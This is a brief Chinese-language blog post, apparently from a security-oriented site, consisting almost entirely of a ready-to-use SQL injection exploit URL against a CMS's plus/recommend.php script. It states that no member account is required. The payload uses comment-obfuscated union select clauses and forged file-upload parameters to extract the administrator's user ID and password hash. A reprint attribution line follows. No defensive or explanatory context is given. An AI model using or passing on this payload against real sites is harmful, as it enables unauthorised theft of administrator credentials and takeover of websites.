无需注册会员账号：

Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]='
or mid=@`'` /*!50000union*//*!50000select*/1,2,3,(select
CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`
limit+0,1),5,6,7,8,9%23@`'`+&_FILES[type][name]=1.jpg&_FILES[type]
[type]=application/octet-stream&_FILES[type][size]=111

 

20150128044136

转载请注明来自WebShell'S Blog，本文地址：https://www.webshell.cc/4655.html